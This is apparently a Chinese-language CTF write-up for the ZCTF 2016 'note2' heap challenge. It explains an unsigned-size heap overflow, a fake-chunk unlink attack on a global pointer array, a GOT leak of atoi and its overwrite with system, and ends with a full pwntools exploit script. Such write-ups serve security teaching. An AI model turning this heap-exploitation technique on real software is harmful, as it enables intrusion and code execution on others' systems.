0%

【Pwn#0x09】ZCTF 2016 note2

正在学习Unlink - CTF wiki,参考上面的方法自己打了一遍,其实是感觉上面的方法有些不必要的步骤,因此自己做的时候简化了一下……

题目分析

ubuntu16 64bit 菜单题
Partial RELRO,no PIE –> 可以覆写 GOT 进行攻击

提供了四个功能:

  • 添加 note,size 限制小于等于 0x80 且会被记录,note 指针会被记录。
  • 展示 note 内容。
  • 编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。
  • 释放 note。

程序存在两个漏洞:

  1. 在添加 note 时,程序会提供写入 note 内容的功能。这里使用了一个循环且每次读取一个字符的自己写的读取函数,循环次数是 size-1 次,然而比较是无符号数比较(看来以后 for 循环里的比较符号类型也要好好注意)。所以如果 size 是 0 的话,程序就会一直读取,是一个堆溢出漏洞。
  2. 在编辑 note 时,程序采用及其奇怪的各种字符串操作来读取。不解释原理地简单来说,如果编辑的 note 之前 size 填入的是 0 ,而且输入的字符串大小大于 0 的话,也会触发一个堆溢出漏洞。但可惜由于出题人采用的字符串函数,这里编辑的内容遇到 NULL Byte 就停止输入了。

此外,程序最多允许申请 4 个 note,即使释放了 note 也不会增加名额。

基本思路

程序用一个全局数组对 size 和指针进行存储,因此只要用 unlink 漏洞,想办法修改那个全局数组(下称 PArray)即可。

为了触发 unlink,我们通过构造假的已释放区块来进行攻击。全局指针数组中有指向区块+0x10 的指针(因为是指向用户可用区域嘛),我们就在某个区块的可用区域构造一个假区块。

1
2
3
4
5
6
newnote(0x40, b'a'*8 + pack(0x61) + pack(fake_fd) + pack(fake_bk))  # fake chunk
newnote(0, b'b'*0x10)
newnote(0x80, b'c'*0x80)
deletenote(1)
newnote(0, b'b'*0x10 + pack(0x60) + pack(0x90)) # overflow into c2
deletenote(2) # trigger unlink

首先创建一个 0x50 大小的区块(原因之后介绍),在其中构造假区块的头部。
然后再依次创建两个小区块,我们的目标是触发 unlink,就需要一个大于 fastbins 的区块大小。根据 pwndbg 调试发现该版本 libc 下 fastbins 最大大小是 0x80,因此这里的 c2 足够触发 unlink。

通过释放再申请 c1,c4 拿到了 c1 的空间,此时就可以利用那个堆溢出漏洞,修改 c2 的 chunk header,来完成假区块尾部的构造。
此时堆结构如下(使用 ASCIIFlow 绘制):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
        │            │  │           │
────────┼────────────┤ │ │
Chunk 0 │ header │ │ │
├────────────┤ ├───────────┼──────── ◄────── PArray[0]
│ │ │fake header│ Fake
│ │ ├───────────┤ Chunk
│ │ │fake fd │
│ │ │fake bk │
────────┼────────────┤ │ │
Chunk 1 │ header │ │ │
Chunk 4 ├────────────┤ │ │ ◄────── PArray[3]
│ │ │ │
────────┼────────────┤ ├───────────┼────────
Chunk 2 │ header │ │fake header│ Chunk 2
├────────────┤ ├───────────┤ ◄────── PArray[2]
│ │ │ │
│ │ │ │ free
│ │ │ │ this
│ │ │ │
│ │ │ │
────────┼────────────┤ ├───────────┼────────
│ │ │ │

释放 c2,将触发 free 中的 unlink,从而我们就成功地把 PArray[0]改为了 PArray-0x18。
至于 c2 之后会被 Top Chunk 吞并要不要紧,我们表示这无所谓,因为我们已经有了任意地址读写的能力了。

完成攻击

程序不仅提供了修改,还提供了展示 note 内容的功能,因此接下来做的事情可以很简单,泄露 GOT 表、覆盖 GOT 表两步。

1
2
3
4
5
6
7
8
9
editnote(0, 1, b'a'*0x18+pack(parray+8))    # parray[0] = &parray[1]
editnote(0, 1, pack(elf.got["atoi"])) # parray[1] = got[atoi]
shownote(1) # leak &atoi

io.recvuntil(b"Content is ")
base = unpack(io.recvuntil(b"1.N")[0:6]+b'\0\0') - libc.symbols["atoi"]
success("libcbase: " + hex(base))

editnote(1, 1, pack(base+libc.symbols["system"])) # got[atoi]=&system

此时 parray[0] 指向 parray-0x18 的位置,但我们要注意 edit 功能遇到 NULL Byte 就停了,最多只能修改一个地址进去。
这里在不知道之后会遇到什么的情况下,还是稳妥一些比较好,因此这里首先把 parray[0] 设置为 &parray[1],这样我们拥有了无数次修改 parray[1] 的机会。
我们把 parray[1] 设置为 GOT[atoi],并泄露其地址,计算出 system 地址。再把 GOT[atoi] 设置为 &system。这里就发现上面不用无数次修改机会,其实 1 次就好了 hhh。

最后,由于程序每次读取菜单选项都用了 atoi (system)函数,程序本身实际上已经变成了一个 shell,只不过会多打印一个菜单出来。我们不需要输入 “/bin/sh” 只需要输入 ls 然后 cat flag 就可以拿到 flag 了。

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./pwn"
io = process([filename])
# io = remote("node4.buuoj.cn", 0x00000)
elf = ELF(filename)

# g = gdb.attach(io, """
# set debug-file-directory ~/gaio/libs/2.23-0ubuntu11.3_amd64/.debug/
# # b *0x400F31
# """)

libc_name = "./libc/16_64.so"
libc = ELF(libc_name)

def newnote(length, content):
io.recvuntil(b'option--->>')
io.sendline(b'1')
io.recvuntil(b'(less than 128)')
io.sendline(str(length).encode("ascii"))
io.recvuntil(b'content:')
io.sendline(content)


def shownote(id):
io.recvuntil(b'option--->>')
io.sendline(b'2')
io.recvuntil(b'note:')
io.sendline(str(id).encode("ascii"))


def editnote(id, choice, s):
io.recvuntil(b'option--->>')
io.sendline(b'3')
io.recvuntil(b'note:')
io.sendline(str(id).encode("ascii"))
io.recvuntil(b'2.append]')
io.sendline(str(choice).encode("ascii"))
io.sendline(s)


def deletenote(id):
io.recvuntil(b'option--->>')
io.sendline(b'4')
io.recvuntil(b'note:')
io.sendline(str(id).encode("ascii"))

# --- overflow -> unlink -> control parray ---

parray = 0x602120
sarray = 0x602140

fake_fd = parray - 0x18
fake_bk = parray - 0x10

# unused name and address, u can ignore this
io.sendline(b'cameudis')
io.sendline(b'earth')

newnote(0x40, b'a'*8 + pack(0x61) + pack(fake_fd) + pack(fake_bk)) # fake chunk
newnote(0, b'b'*0x10)
newnote(0x80, b'c'*0x80)
deletenote(1)
newnote(0, b'b'*0x10 + pack(0x60) + pack(0x90)) # overflow into c2
deletenote(2) # trigger unlink

editnote(0, 1, b'a'*0x18+pack(parray+8)) # parray[0] = &parray[1]
editnote(0, 1, pack(elf.got["atoi"])) # parray[1] = got[atoi]
shownote(1) # leak &atoi
io.recvuntil(b"Content is ")
base = unpack(io.recvuntil(b"1.N")[0:6]+b'\0\0') - libc.symbols["atoi"]
success("libcbase: " + hex(base))

editnote(1, 1, pack(base+libc.symbols["system"])) # got[atoi]=&system

io.interactive()